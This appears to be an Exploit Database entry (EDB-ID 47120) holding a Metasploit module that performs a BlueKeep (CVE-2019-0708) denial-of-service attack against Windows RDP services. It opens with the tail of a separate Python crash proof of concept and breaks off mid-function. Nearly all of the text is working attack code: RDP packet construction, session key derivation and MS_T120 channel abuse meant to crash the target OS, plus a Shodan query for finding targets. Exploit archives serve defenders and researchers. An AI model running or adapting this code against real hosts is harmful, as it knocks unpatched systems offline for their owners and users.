# had a terminal session since their last reboot. I think
# I know why but atm its just easier to send the exchange
# 5 times and it'll crash eventually. Most of the time its
# the first time though.
for _ in range(5):
main(sys.argv)
else:
print("Usage: python poc.py 127.0.0.1 64")
sys.exit()
Exploit Database EDB-ID : 47120
Date de publication : 2019-07-14 22:00 +00:00
Auteur : RAMELLA Sebastien
EDB Vérifié : No
# Exploit Title: Bluekeep Denial of Service (metasploit module)
# Shodan Dork: port:3389
# Date: 07/14/2019
# Exploit Author: RAMELLA Sebastien (https://github.com/mekhalleh/)
# Vendor Homepage: https://microsoft.com
# Version: all affected RDP services by cve-2019-0708
# Tested on: Windows XP (32-bits) / Windows 7 (64-bits)
# CVE : 2019-0708
# I just modified the initial metasploit module for this vuln to produce a denial of service attack.
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
Rank = NormalRanking
include Msf::Auxiliary::Dos
include Msf::Auxiliary::Scanner
include Msf::Exploit::Remote::Tcp
def initialize(info = {})
super(update_info(info,
'Name' => 'CVE-2019-0708 BlueKeep Microsoft Remote Desktop RCE',
'Description' => %q{
This module checks a range of hosts for the CVE-2019-0708 vulnerability
by binding the MS_T120 channel outside of its normal slot and sending
DoS packets.
},
'Author' =>
[
'National Cyber Security Centre', # Discovery
'JaGoTu', # Module
'zerosum0x0', # Module
'Tom Sellers', # TLS support and documented packets
'RAMELLA Sebastien' # Denial of service module
],
'References' =>
[
[ 'CVE', '2019-0708' ],
[ 'URL', 'https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-0708' ]
],
'DisclosureDate' => '2019-05-14',
'License' => MSF_LICENSE,
'Notes' =>
{
'Stability' => [ CRASH_OS_DOWN ],
'AKA' => ['BlueKeep']
}
))
register_options(
[
OptAddress.new('RDP_CLIENT_IP', [ true, 'The client IPv4 address to report during connection', '192.168.0.100']),
OptString.new('RDP_CLIENT_NAME', [ false, 'The client computer name to report during connection', 'rdesktop']),
OptString.new('RDP_DOMAIN', [ false, 'The client domain name to report during connection', '']),
OptString.new('RDP_USER', [ false, 'The username to report during connection.']),
OptAddressRange.new("RHOSTS", [ true, 'Target address, address range or CIDR identifier']),
OptInt.new('RPORT', [true, 'The target TCP port on which the RDP protocol response', 3389])
]
)
end
# ------------------------------------------------------------------------- #
def bin_to_hex(s)
return(s.each_byte.map { | b | b.to_s(16).rjust(2, '0') }.join)
end
def bytes_to_bignum(bytesIn, order = "little")
bytes = bin_to_hex(bytesIn)
if(order == "little")
bytes = bytes.scan(/../).reverse.join('')
end
s = "0x" + bytes
return(s.to_i(16))
end
## https://www.ruby-forum.com/t/integer-to-byte-string-speed-improvements/67110
def int_to_bytestring(daInt, num_chars = nil)
unless(num_chars)
bits_needed = Math.log(daInt) / Math.log(2)
num_chars = (bits_needed / 8.0).ceil
end
if(pack_code = { 1 => 'C', 2 => 'S', 4 => 'L' }[ num_chars ])
[daInt].pack(pack_code)
else
a = (0..(num_chars)).map{ | i |
(( daInt >> i*8 ) & 0xFF ).chr
}.join
a[0..-2] # Seems legit lol!
end
end
def open_connection()
begin
connect()
sock.setsockopt(::Socket::IPPROTO_TCP, ::Socket::TCP_NODELAY, 1)
rescue ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e
vprint_error("Connection error: #{e.message}")
return(false)
end
return(true)
end
def rsa_encrypt(bignum, rsexp, rsmod)
return((bignum ** rsexp) % rsmod)
end
# ------------------------------------------------------------------------- #
## Used to abruptly abort scanner for a given host.
class RdpCommunicationError < StandardError
end
## Define standard RDP constants.
class RDPConstants
PROTOCOL_RDP = 0
end
DEFAULT_CHANNELS_DEFS =
"\x04\x00\x00\x00" + # channelCount: 4
## Channels definitions consist of a name (8 bytes) and options flags
## (4 bytes). Names are up to 7 ANSI characters with null termination.
"\x72\x64\x70\x73\x6e\x64\x00\x00" + # rdpsnd
"\x0f\x00\x00\xc0" +
"\x63\x6c\x69\x70\x72\x64\x72\x00" + # cliprdr
"\x00\x00\xa0\xc0" +
"\x64\x72\x64\x79\x6e\x76\x63" + # drdynvc
"\x00\x00\x00\x80\xc0" +
"\x4d\x53\x5f\x54\x31\x32\x30" + # MS_T120
"\x00\x00\x00\x00\x00"
## Builds x.224 Data (DT) TPDU - Section 13.7
def rdp_build_data_tpdu(data)
tpkt_length = data.length + 7
"\x03\x00" + # TPKT Header version 03, reserved 0
[tpkt_length].pack("S>") + # TPKT length
"\x02\xf0" + # X.224 Data TPDU (2 bytes)
"\x80" + # X.224 End Of Transmission (0x80)
data
end
## Build the X.224 packet, encrypt with Standard RDP Security as needed.
## Default channel_id = 0x03eb = 1003.
def rdp_build_pkt(data, rc4enckey = nil, hmackey = nil, channel_id = "\x03\xeb", client_info = false, rdp_sec = true)
flags = 0
flags |= 0b1000 if(rdp_sec) # Set SEC_ENCRYPT
flags |= 0b1000000 if(client_info) # Set SEC_INFO_PKT
pdu = ""
## TS_SECURITY_HEADER - 2.2.8.1.1.2.1
## Send when the packet is encrypted w/ Standard RDP Security and in all Client Info PDUs.
if(client_info || rdp_sec)
pdu << [flags].pack("S<") # flags "\x48\x00" = SEC_INFO_PKT | SEC_ENCRYPT
pdu << "\x00\x00" # flagsHi
end
if(rdp_sec)
## Encrypt the payload with RDP Standard Encryption.
pdu << rdp_hmac(hmackey, data)[0..7]
pdu << rdp_rc4_crypt(rc4enckey, data)
else
pdu << data
end
user_data_len = pdu.length
udl_with_flag = 0x8000 | user_data_len
pkt = "\x64" # sendDataRequest
pkt << "\x00\x08" # intiator userId (TODO: for a functional client this isn't static)
pkt << channel_id # channelId
pkt << "\x70" # dataPriority
pkt << [udl_with_flag].pack("S>")
pkt << pdu
return(rdp_build_data_tpdu(pkt))
end
## https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/73d01865-2eae-407f-9b2c-87e31daac471
## Share Control Header - TS_SHARECONTROLHEADER - 2.2.8.1.1.1.1
def rdp_build_share_control_header(type, data, channel_id = "\xf1\x03")
total_len = data.length + 6
return(
[total_len].pack("S<") + # totalLength - includes all headers
[type].pack("S<") + # pduType - flags 16 bit, unsigned
channel_id + # PDUSource: 0x03f1 = 1009
data
)
end
## https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/4b5d4c0d-a657-41e9-9c69-d58632f46d31
## Share Data Header - TS_SHAREDATAHEADER - 2.2.8.1.1.1.2
def rdp_build_share_data_header(type, data)
uncompressed_len = data.length + 4
return(
"\xea\x03\x01\x00" + # shareId: 66538
"\x00" + # pad1
"\x01" + # streamID: 1
[uncompressed_len].pack("S<") + # uncompressedLength - 16 bit, unsigned int
[type].pack("C") + # pduType2 - 8 bit, unsigned int - 2.2.8.1.1.2
"\x00" + # compressedType: 0
"\x00\x00" + # compressedLength: 0
data
)
end
## https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/6c074267-1b32-4ceb-9496-2eb941a23e6b
## Virtual Channel PDU 2.2.6.1
def rdp_build_virtual_channel_pdu(flags, data)
data_len = data.length
return(
[data_len].pack("L<") + # length
[flags].pack("L<") + # flags
data
)
end
def rdp_calculate_rc4_keys(client_random, server_random)
## preMasterSecret = First192Bits(ClientRandom) + First192Bits(ServerRandom).
preMasterSecret = client_random[0..23] + server_random[0..23]
## PreMasterHash(I) = SaltedHash(preMasterSecret, I)
## MasterSecret = PreMasterHash(0x41) + PreMasterHash(0x4242) + PreMasterHash(0x434343).
masterSecret = rdp_salted_hash(preMasterSecret, "A", client_random,server_random) + rdp_salted_hash(preMasterSecret, "BB", client_random, server_random) + rdp_salted_hash(preMasterSecret, "CCC", client_random, server_random)
## MasterHash(I) = SaltedHash(MasterSecret, I)
## SessionKeyBlob = MasterHash(0x58) + MasterHash(0x5959) + MasterHash(0x5A5A5A).
sessionKeyBlob = rdp_salted_hash(masterSecret, "X", client_random, server_random) + rdp_salted_hash(masterSecret, "YY", client_random, server_random) + rdp_salted_hash(masterSecret, "ZZZ", client_random, server_random)
## InitialClientDecryptKey128 = FinalHash(Second128Bits(SessionKeyBlob)).
initialClientDecryptKey128 = rdp_final_hash(sessionKeyBlob[16..31], client_random, server_random)
## InitialClientEncryptKey128 = FinalHash(Third128Bits(SessionKeyBlob)).
initialClientEncryptKey128 = rdp_final_hash(sessionKeyBlob[32..47], client_random, server_random)
macKey = sessionKeyBlob[0..15]
return initialClientEncryptKey128, initialClientDecryptKey128, macKey, sessionKeyBlob
end
def rdp_connection_initiation()
## Code to check if RDP is open or not.
vprint_status("Verifying RDP protocol...")
vprint_status("Attempting to connect using RDP security")
rdp_send(pdu_negotiation_request(datastore['RDP_USER'], RDPConstants::PROTOCOL_RDP))
received = sock.get_once(-1, 5)
## TODO: fix it.
if (received and received.include? "\x00\x12\x34\x00")
return(true)
end
return(false)
end
## FinalHash(K) = MD5(K + ClientRandom + ServerRandom).
def rdp_final_hash(k, client_random_bytes, server_random_bytes)
md5 = Digest::MD5.new
md5 << k
md5 << client_random_bytes
md5 << server_random_bytes
return([md5.hexdigest].pack("H*"))
end
## https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/7c61b54e-f6cd-4819-a59a-daf200f6bf94
## mac_salt_key = "W\x13\xc58\x7f\xeb\xa9\x10*\x1e\xddV\x96\x8b[d"
## data_content = "\x12\x00\x17\x00\xef\x03\xea\x03\x02\x00\x00\x01\x04\x00$\x00\x00\x00"
## hmac = rdp_hmac(mac_salt_key, data_content) # hexlified: "22d5aeb486994a0c785dc929a2855923".
def rdp_hmac(mac_salt_key, data_content)
sha1 = Digest::SHA1.new
md5 = Digest::MD5.new
pad1 = "\x36" * 40
pad2 = "\x5c" * 48
sha1 << mac_salt_key
sha1 << pad1
sha1 << [data_content.length].pack('<L')
sha1 << data_content
md5 << mac_salt_key
md5 << pad2
md5 << [sha1.hexdigest].pack("H*")
return([md5.hexdigest].pack("H*"))
end
## https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/927de44c-7fe8-4206-a14f-e5517dc24b1c
## Parse Server MCS Connect Response PUD - 2.2.1.4
def rdp_parse_connect_response(pkt)
ptr = 0
rdp_pkt = pkt[0x49..pkt.length]
while(ptr < rdp_pkt.length)
header_type = rdp_pkt[ptr..ptr + 1]
header_length = rdp_pkt[ptr + 2..ptr + 3].unpack("S<")[0]
# vprint_status("header: #{bin_to_hex(header_type)}, len: #{header_length}")
if(header_type == "\x02\x0c")
# vprint_status("Security header")
server_random = rdp_pkt[ptr + 20..ptr + 51]
public_exponent = rdp_pkt[ptr + 84..ptr + 87]
modulus = rdp_pkt[ptr + 88..ptr + 151]
# vprint_status("modulus_old: #{bin_to_hex(modulus)}")
rsa_magic = rdp_pkt[ptr + 68..ptr + 71]
if(rsa_magic != "RSA1")
print_error("Server cert isn't RSA, this scenario isn't supported (yet).")
raise RdpCommunicationError
end
# vprint_status("RSA magic: #{rsa_magic}")
bitlen = rdp_pkt[ptr + 72..ptr + 75].unpack("L<")[0] - 8
vprint_status("RSA #{bitlen}-bits")
modulus = rdp_pkt[ptr + 88..ptr + 87 + bitlen]
# vprint_status("modulus_new: #{bin_to_hex(modulus)}")
end
ptr += header_length
end
# vprint_status("SERVER_MODULUS: #{bin_to_hex(modulus)}")
# vprint_status("SERVER_EXPONENT: #{bin_to_hex(public_exponent)}")
# vprint_status("SERVER_RANDOM: #{bin_to_hex(server_random)}")
rsmod = bytes_to_bignum(modulus)
rsexp = bytes_to_bignum(public_exponent)
rsran = bytes_to_bignum(server_random)
vprint_status("MODULUS: #{bin_to_hex(modulus)} - #{rsmod.to_s}")
vprint_status("EXPONENT: #{bin_to_hex(public_exponent)} - #{rsexp.to_s}")
vprint_status("SVRANDOM: #{bin_to_hex(server_random)} - #{rsran.to_s}")
return rsmod, rsexp, rsran, server_random, bitlen
end
def rdp_rc4_crypt(rc4obj, data)
rc4obj.encrypt(data)
end
## https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/705f9542-b0e3-48be-b9a5-cf2ee582607f
## SaltedHash(S, I) = MD5(S + SHA(I + S + ClientRandom + ServerRandom))
def rdp_salted_hash(s_bytes, i_bytes, client_random_bytes, server_random_bytes)
sha1 = Digest::SHA1.new
md5 = Digest::MD5.new
sha1 << i_bytes
sha1 << s_bytes
sha1 << client_random_bytes
sha1 << server_random_bytes
md5 << s_bytes
md5 << [sha1.hexdigest].pack("H*")
return([md5.hexdigest].pack("H*"))
end
def rdp_recv()
buffer_1 = sock.get_once(4, 5)
raise RdpCommunicationError unless buffer_1 # nil due to a timeout
buffer_2 = sock.get_once(buffer_1[2..4].unpack("S>")[0], 5)
raise RdpCommunicationError unless buffer_2 # nil due to a timeout
vprint_status("Received data: #{bin_to_hex(buffer_1 + buffer_2)}")
return(buffer_1 + buffer_2)
end
def rdp_send(data)
vprint_status("Send data: #{bin_to_hex(data)}")
sock.put(data)
end
def rdp_sendrecv(data)
rdp_send(data)
return(rdp_recv())
end
# ------------------------------------------------------------------------- #
## https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/18a27ef9-6f9a-4501-b000-94b1fe3c2c10
## Client X.224 Connect Request PDU - 2.2.1.1
def pdu_negotiation_request(user_name = "", requested_protocols = RDPConstants::PROTOCOL_RDP)
## Blank username is valid, nil is random.
user_name = Rex::Text.rand_text_alpha(12) if(user_name.nil?)
tpkt_len = user_name.length + 38
x224_len = user_name.length + 33
return(
"\x03\x00" + # TPKT Header version 03, reserved 0
[tpkt_len].pack("S>") + # TPKT length: 43
[x224_len].pack("C") + # X.224 LengthIndicator
"\xe0" + # X.224 Type: Connect Request
"\x00\x00" + # dst reference
"\x00\x00" + # src reference
"\x00" + # class and options
"\x43\x6f\x6f\x6b\x69\x65\x3a\x20\x6d\x73\x74\x73\x68\x61\x73\x68\x3d" + # cookie - literal 'Cookie: mstshash='
user_name + # Identifier "username"
"\x0d\x0a" + # cookie terminator
"\x01\x00" + # Type: RDP Negotiation Request (0x01)
"\x08\x00" + # Length
[requested_protocols].pack('L<') # requestedProtocols
)
end
# https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/db6713ee-1c0e-4064-a3b3-0fac30b4037b
def pdu_connect_initial(selected_proto = RDPConstants::PROTOCOL_RDP, host_name = "rdesktop", channels_defs = DEFAULT_CHANNELS_DEFS)
## After negotiating TLS or NLA the connectInitial packet needs to include the
## protocol selection that the server indicated in its negotiation response.
## TODO: If this is pulled into an RDP library then the channel list likely
## needs to be build dynamically. For example, MS_T120 likely should only
## ever be sent as part of checks for CVE-2019-0708.
## build clientName - 12.2.1.3.2 Client Core Data (TS_UD_CS_CORE)
## 15 characters + null terminator, converted to unicode
## fixed length - 32 characters total
name_unicode = Rex::Text.to_unicode(host_name[0..14], type = 'utf-16le')
name_unicode += "\x00" * (32 - name_unicode.length)
pdu = "\x7f\x65" + # T.125 Connect-Initial (BER: Application 101)
"\x82\x01\xb2" + # Length (BER: Length)
"\x04\x01\x01" + # CallingDomainSelector: 1 (BER: OctetString)
"\x04\x01\x01" + # CalledDomainSelector: 1 (BER: OctetString)
"\x01\x01\xff" + # UpwaredFlag: True (BER: boolean)
## Connect-Initial: Target Parameters
"\x30\x19" + # TargetParamenters (BER: SequenceOf)
## *** not sure why the BER encoded Integers below have 2 byte values instead of one ***
"\x02\x01\x22\x02\x01\x02\x02\x01\x00\x02\x01\x01\x02\x01\x00\x02\x01\x01\x02\x02\xff\xff\x02\x01\x02" +
## Connect-Intial: Minimum Parameters
"\x30\x19" + # MinimumParameters (BER: SequencOf)
"\x02\x01\x01\x02\x01\x01\x02\x01\x01\x02\x01\x01\x02\x01\x00\x02\x01\x01\x02\x02\x04\x20\x02\x01\x02" +
## Connect-Initial: Maximum Parameters
"\x30\x1c" + # MaximumParameters (BER: SequencOf)
"\x02\x02\xff\xff\x02\x02\xfc\x17\x02\x02\xff\xff\x02\x01\x01\x02\x01\x00\x02\x01\x01\x02\x02\xff\xff\x02\x01\x02" +
## Connect-Initial: UserData
"\x04\x82\x01\x51" + # UserData, length 337 (BER: OctetString)
## T.124 GCC Connection Data (ConnectData) - PER Encoding used
"\x00\x05" + # object length
"\x00\x14\x7c\x00\x01" + # object: OID 0.0.20.124.0.1 = Generic Conference Control
"\x81\x48" + # Length: ??? (Connect PDU)
"\x00\x08\x00\x10\x00\x01\xc0\x00" + # T.124 Connect PDU, Conference name 1
"\x44\x75\x63\x61" + # h221NonStandard: 'Duca' (client-to-server H.221 key)
"\x81\x3a" + # Length: ??? (T.124 UserData section)
## Client MCS Section - 2.2.1.3
"\x01\xc0" + # clientCoreData (TS_UD_CS_CORE) header - 2.2.1.3.2
"\xea\x00" + # Length: 234 (includes header)
"\x0a\x00\x08\x00" + # version: 8.1 (RDP 5.0 -> 8.1)
"\x80\x07" + # desktopWidth: 1920
"\x38\x04" + # desktopHeigth: 1080
"\x01\xca" + # colorDepth: 8 bpp
"\x03\xaa" + # SASSequence: 43523
"\x09\x04\x00\x00" + # keyboardLayout: 1033 (English US)
"\xee\x42\x00\x00" + # clientBuild: ????
[name_unicode].pack("a*") + # clientName
"\x04\x00\x00\x00" + # keyboardType: 4 (IBMEnhanced 101 or 102)
"\x00\x00\x00\x00" + # keyboadSubtype: 0
"\x0c\x00\x00\x00" + # keyboardFunctionKey: 12
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + # imeFileName (64 bytes)
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x01\xca" + # postBeta2ColorDepth: 8 bpp
"\x01\x00" + # clientProductID: 1
"\x00\x00\x00\x00" + # serialNumber: 0
"\x18\x00" + # highColorDepth: 24 bpp
"\x0f\x00" + # supportedColorDepths: flag (24 bpp | 16 bpp | 15 bpp)
"\xaf\x07" + # earlyCapabilityFlags
"\x62\x00\x63\x00\x37\x00\x38\x00\x65\x00\x66\x00\x36\x00\x33\x00" + # clientDigProductID (64 bytes)
"\x2d\x00\x39\x00\x64\x00\x33\x00\x33\x00\x2d\x00\x34\x00\x31\x00" +
"\x39\x38\x00\x38\x00\x2d\x00\x39\x00\x32\x00\x63\x00\x66\x00\x2d" +
"\x00\x00\x31\x00\x62\x00\x32\x00\x64\x00\x61\x00\x42\x42\x42\x42" +
"\x07" + # connectionType: 7
"\x00" + # pad1octet
## serverSelectedProtocol - After negotiating TLS or CredSSP this value
## must match the selectedProtocol value from the server's Negotiate
## Connection confirm PDU that was sent before encryption was started.
[selected_proto].pack('L<') + # "\x01\x00\x00\x00"
"\x56\x02\x00\x00" +
"\x50\x01\x00\x00" +
"\x00\x00" +
"\x64\x00\x00\x00" +
"\x64\x00\x00\x00" +
"\x04\xc0" + # clientClusterdata (TS_UD_CS_CLUSTER) header - 2.2.1.3.5
"\x0c\x00" + # Length: 12 (includes header)
"\x15\x00\x00\x00" + # flags (REDIRECTION_SUPPORTED | REDIRECTION_VERSION3)
"\x00\x00\x00\x00" + # RedirectedSessionID
"\x02\xc0" + # clientSecuritydata (TS_UD_CS_SEC) header - 2.2.1.3.3
"\x0c\x00" + # Length: 12 (includes header)
"\x1b\x00\x00\x00" + # encryptionMethods: 3 (40 bit | 128 bit)
"\x00\x00\x00\x00" + # extEncryptionMethods (French locale only)
"\x03\xc0" + # clientNetworkData (TS_UD_CS_NET) - 2.2.1.3.4
"\x38\x00" + # Length: 56 (includes header)
channels_defs
## Fix. for packet modification.
## T.125 Connect-Initial
size_1 = [pdu.length - 5].pack("s") # Length (BER: Length)
pdu[3] = size_1[1]
pdu[4] = size_1[0]
## Connect-Initial: UserData
size_2 = [pdu.length - 102].pack("s") # UserData, length (BER: OctetString)
pdu[100] = size_2[1]
pdu[101] = size_2[0]
## T.124 GCC Connection Data (ConnectData) - PER Encoding used
size_3 = [pdu.length - 111].pack("s") # Length (Connect PDU)
pdu[109] = "\x81"
pdu[110] = size_3[0]
size_4 = [pdu.length - 125].pack("s") # Length (T.124 UserData section)
pdu[123] = "\x81"
pdu[124] = size_4[0]
## Client MCS Section - 2.2.1.3
size_5 = [pdu.length - 383].pack("s") # Length (includes header)
pdu[385] = size_5[0]
rdp_build_data_tpdu(pdu)
end
## https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/9cde84cd-5055-475a-ac8b-704db419b66f
## Client Security Exchange PDU - 2.2.1.10
def pdu_security_exchange(rcran, rsexp, rsmod, bitlen)
encrypted_rcran_bignum = rsa_encrypt(rcran, rsexp, rsmod)
encrypted_rcran = int_to_bytestring(encrypted_rcran_bignum)
bitlen += 8 # Pad with size of TS_SECURITY_PACKET header
userdata_length = 8 + bitlen
userdata_length_low = userdata_length & 0xFF
userdata_length_high = userdata_length / 256
flags = 0x80 | userdata_length_high
pdu = "\x64" + # T.125 sendDataRequest
"\x00\x08" + # intiator userId
"\x03\xeb" + # channelId = 1003
"\x70" + # dataPriority = high, segmentation = begin | end
[flags].pack("C") +
[userdata_length_low].pack("C") + # UserData length
# TS_SECURITY_PACKET - 2.2.1.10.1
"\x01\x00" + # securityHeader flags
"\x00\x00" + # securityHeader flagsHi
[bitlen].pack("L<") + # TS_ length
encrypted_rcran + # encryptedClientRandom - 64 bytes
"\x00\x00\x00\x00\x00\x00\x00\x00" # 8 bytes rear padding (always present)
return(rdp_build_data_tpdu(pdu))
end
## https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/04c60697-0d9a-4afd-a0cd-2cc133151a9c
## Client MCS Erect Domain Request PDU - 2.2.1.5
def pdu_erect_domain_request()
pdu = "\x04" + # T.125 ErectDomainRequest
"\x01\x00" + # subHeight - length 1, value 0
"\x01\x00" # subInterval - length 1, value 0
return(rdp_build_data_tpdu(pdu))
end
## https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/f5d6a541-9b36-4100-b78f-18710f39f247\
## Client MCS Attach User Request PDU - 2.2.1.6
def pdu_attach_user_request()
pdu = "\x28" # T.125 AttachUserRequest
return(rdp_build_data_tpdu(pdu))
end
## https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/64564639-3b2d-4d2c-ae77-1105b4cc011b
## Client MCS Channel Join Request PDU -2.2.1.8
def pdu_channel_request(user1, channel_id)
pdu = "\x38" + [user1, channel_id].pack("nn") # T.125 ChannelJoinRequest
return(rdp_build_data_tpdu(pdu))
end
## https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/772d618e-b7d6-4cd0-b735-fa08af558f9d
## TS_INFO_PACKET - 2.2.1.11.1.1
def pdu_client_info(user_name, domain_name = "", ip_address = "")
## Max. len for 4.0/6.0 servers is 44 bytes including terminator.
## Max. len for all other versions is 512 including terminator.
## We're going to limit to 44 (21 chars + null -> unicode) here.
## Blank username is valid, nil = random.
user_name = Rex::Text.rand_text_alpha(10) if user_name.nil?
user_unicode = Rex::Text.to_unicode(user_name[0..20], type = 'utf-16le')
uname_len = user_unicode.length
## Domain can can be, and for rdesktop typically is, empty.
## Max. len for 4.0/5.0 servers is 52 including terminator.
## Max. len for all other versions is 512 including terminator.
## We're going to limit to 52 (25 chars + null -> unicode) here.
domain_unicode = Rex::Text.to_unicode(domain_name[0..24], type = 'utf-16le')
domain_len = domain_unicode.length
## This address value is primarily used to reduce the fields by which this
## module can be fingerprinted. It doesn't show up in Windows logs.
## clientAddress + null terminator
ip_unicode = Rex::Text.to_unicode(ip_address, type = 'utf-16le') + "\x00\x00"
ip_len = ip_unicode.length
pdu = "\xa1\xa5\x09\x04" +
"\x09\x04\xbb\x47" + # CodePage
"\x03\x00\x00\x00" + # flags - INFO_MOUSE, INFO_DISABLECTRLALTDEL, INFO_UNICODE, INFO_MAXIMIZESHELL, INFO_ENABLEWINDOWSKEY
[domain_len].pack("S<") + # cbDomain (length value) - EXCLUDES null terminator
[uname_len].pack("S<") + # cbUserName (length value) - EXCLUDES null terminator
"\x00\x00" + # cbPassword (length value)
"\x00\x00" + # cbAlternateShell (length value)
"\x00\x00" + # cbWorkingDir (length value)
[domain_unicode].pack("a*") + # Domain
"\x00\x00" + # Domain null terminator, EXCLUDED from value of cbDomain
[user_unicode].pack("a*") + # UserName
"\x00\x00" + # UserName null terminator, EXCLUDED FROM value of cbUserName
"\x00\x00" + # Password - empty
"\x00\x00" + # AlternateShell - empty
## TS_EXTENDED_INFO_PACKET - 2.2.1.11.1.1.1
"\x02\x00" + # clientAddressFamily - AF_INET - FIXFIX - detect and set dynamically
[ip_len].pack("S<") + # cbClientAddress (length value) - INCLUDES terminator ... for reasons.
[ip_unicode].pack("a*") + # clientAddress (unicode + null terminator (unicode)
"\x3c\x00" + # cbClientDir (length value): 60
"\x43\x00\x3a\x00\x5c\x00\x57\x00\x49\x00\x4e\x00\x4e\x00\x54\x00" + # clientDir - 'C:\WINNT\System32\mstscax.dll' + null terminator
"\x5c\x00\x53\x00\x79\x00\x73\x00\x74\x00\x65\x00\x6d\x00\x33\x00" +
"\x32\x00\x5c\x00\x6d\x00\x73\x00\x74\x00\x73\x00\x63\x00\x61\x00" +
"\x78\x00\x2e\x00\x64\x00\x6c\x00\x6c\x00\x00\x00" +
## clientTimeZone - TS_TIME_ZONE struct - 172 bytes
## These are the default values for rdesktop
"\xa4\x01\x00\x00" + # Bias
## StandardName - 'GTB,normaltid'
"\x4d\x00\x6f\x00\x75\x00\x6e\x00\x74\x00\x61\x00\x69\x00\x6e\x00" +
"\x20\x00\x53\x00\x74\x00\x61\x00\x6e\x00\x64\x00\x61\x00\x72\x00" +
"\x64\x00\x20\x00\x54\x00\x69\x00\x6d\x00\x65\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x0b\x00\x00\x00\x01\x00\x02\x00\x00\x00\x00\x00\x00\x00" + # StandardDate
"\x00\x00\x00\x00" + # StandardBias
## DaylightName - 'GTB,sommartid'
"\x4d\x00\x6f\x00\x75\x00\x6e\x00\x74\x00\x61\x00\x69\x00\x6e\x00" +
"\x20\x00\x44\x00\x61\x00\x79\x00\x6c\x00\x69\x00\x67\x00\x68\x00" +
"\x74\x00\x20\x00\x54\x00\x69\x00\x6d\x00\x65\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x03\x00\x00\x00\x02\x00\x02\x00\x00\x00\x00\x00\x00\x00" + # DaylightDate
"\xc4\xff\xff\xff" + # DaylightBias
"\x01\x00\x00\x00" + # clientSessionId
"\x06\x00\x00\x00" + # performanceFlags
"\x00\x00" + # cbAutoReconnectCookie
"\x64\x00\x00\x00"
return(pdu)
end
# https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/4e9722c3-ad83-43f5-af5a-529f73d88b48
# Confirm Active PDU Data - TS_CONFIRM_ACTIVE_PDU - 2.2.1.13.2.1
def pdu_client_confirm_active()
pdu = "\xea\x03\x01\x00" + # shareId: 66538
"\xea\x03" + # originatorId
"\x06\x00" + # lengthSourceDescriptor: 6
"\x3e\x02" + # lengthCombinedCapabilities: ???
"\x4d\x53\x54\x53\x43\x00" + # SourceDescriptor: 'MSTSC'
"\x17\x00" + # numberCapabilities: 23
"\x00\x00" + # pad2Octets
"\x01\x00" + # capabilitySetType: 1 - TS_GENERAL_CAPABILITYSET
"\x18\x00" + # lengthCapability: 24
"\x01\x00\x03\x00\x00\x02\x00\x00\x00\x00\x1d\x04\x00\x00\x00\x00" +
"\x00\x00\x00\x00" +
"\x02\x00" + # capabilitySetType: 2 - TS_BITMAP_CAPABILITYSET
"\x1c\x00" + # lengthCapability: 28
"\x20\x00\x01\x00\x01\x00\x01\x00\x80\x07\x38\x04\x00\x00\x01\x00" +
"\x01\x00\x00\x1a\x01\x00\x00\x00" +
"\x03\x00" + # capabilitySetType: 3 - TS_ORDER_CAPABILITYSET
"\x58\x00" + # lengthCapability: 88
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x01\x00\x14\x00\x00\x00\x01\x00\x00\x00\xaa\x00" +
"\x01\x01\x01\x01\x01\x00\x00\x01\x01\x01\x00\x01\x00\x00\x00\x01" +
"\x01\x01\x01\x01\x01\x01\x01\x00\x01\x01\x01\x00\x00\x00\x00\x00" +
"\xa1\x06\x06\x00\x00\x00\x00\x00\x00\x84\x03\x00\x00\x00\x00\x00" +
"\xe4\x04\x00\x00\x13\x00\x28\x00\x03\x00\x00\x03\x78\x00\x00\x00" +
"\x78\x00\x00\x00\xfc\x09\x00\x80\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x0a\x00" + # capabilitySetType: 10 - ??
"\x08\x00" + # lengthCapability: 8
"\x06\x00\x00\x00" +
"\x07\x00" + # capabilitySetType: 7 - TSWINDOWACTIVATION_CAPABILITYSET
"\x0c\x00" + # lengthCapability: 12
"\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x05\x00" + # capabilitySetType: 5 - TS_CONTROL_CAPABILITYSET
"\x0c\x00" + # lengthCapability: 12
"\x00\x00\x00\x00\x02\x00\x02\x00" +
"\x08\x00" + # capabilitySetType: 8 - TS_POINTER_CAPABILITYSET
"\x0a\x00" + # lengthCapability: 10
